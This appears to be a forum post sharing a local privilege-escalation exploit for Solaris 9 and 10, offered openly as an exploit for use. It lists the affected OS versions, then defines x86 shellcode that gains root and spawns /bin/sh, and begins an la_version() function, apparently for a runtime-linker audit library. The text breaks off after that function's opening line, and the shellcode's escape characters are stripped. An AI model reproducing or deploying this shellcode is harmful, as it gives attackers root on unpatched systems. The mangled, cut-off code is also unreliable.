Solaris 9/10 exploit

[hide=1]
[code]



/*

- SunOS 5.10 Generic i86pc i386 i86pc

- SunOS 5.9 Generic_112233-12 sun4u



It does NOT work on:



SunOS 5.8 Generic_117350-02 sun4u sparc



Example on unpatched Solaris 10 (AMD64):



atari:venglin:~> cat dupa.c

*/



static char sh[] =

"x31xc0xebx09x5ax89x42x01x88x42x06xebx0dxe8xf2xffxffxffx9ax01x01x01x01x07x01xc3x50xb0x17xe8xf0xffxffxffx31xc0x68x2fx73x68x5fx68x2fx62x69x6ex88x44x24x07x89xe3x50x53x8dx0cx24x8dx54x24x04x52x51x53xb0x0bxe8xcbxffxffxff";



int la_version() {